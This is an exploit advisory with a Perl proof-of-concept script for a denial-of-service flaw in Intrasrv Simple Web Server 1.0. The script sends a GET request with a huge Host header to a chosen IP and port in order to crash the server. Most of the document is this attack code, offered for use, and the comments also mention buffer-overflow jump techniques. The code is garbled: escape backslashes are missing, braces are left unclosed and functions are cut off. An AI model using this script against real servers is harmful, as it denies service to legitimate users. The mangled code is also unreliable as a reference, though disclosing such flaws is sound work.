Authored by Fernando Mengali

Intrasrv Simple Web Server version 1.0 suffers from a denial of service vulnerability.


use IO::Socket;

# Exploit Title: Intrasrv Simple Web Server 1.0 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 09 january 2024
# Vendor Homepage:
# Download to demo:
# Download 2 to demo:
# Notification vendor: No reported
# Tested Version: Intrasrv Simple Web Server 1.0
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo:
# Vídeo 2:

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via method GET to web server.
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

my $sis="$^O";
our $cmd;

if ($sis eq "windows"){
} else {



print "[+] Exploiting... n";

my $buffer1 = "x41"x4674;

my $buffer2 = "x41" x 638;

my $buffer = "GET / HTTP/1.1rn";
$buffer .= "Host: " . $buffer1 . "rn";
$buffer .= "User-Agent: Mozilla/4.0 (Windows XP 5.1)rn";
$buffer .= $buffer2;

my $one = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
) or die "Could not connect to $ip: $!n";

print $one $buffer;
close $one;

print "[+] Done - Exploited success!!!!!nn";

sub intro {
print "********************************************************n";
print "* Intrasrv Simple Web Server 1.0 - Denied of Service *n";
print "* *n";
print "* Coded by Fernando Mengali *n";
print "* *n";
print "* e-mail: [email protected] *n";
print "* *n";
print "*******************************************************n";

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " nUsage: $0 <ip> <port> n";


#3. Solution/ How to fix:

# This version product is deprecated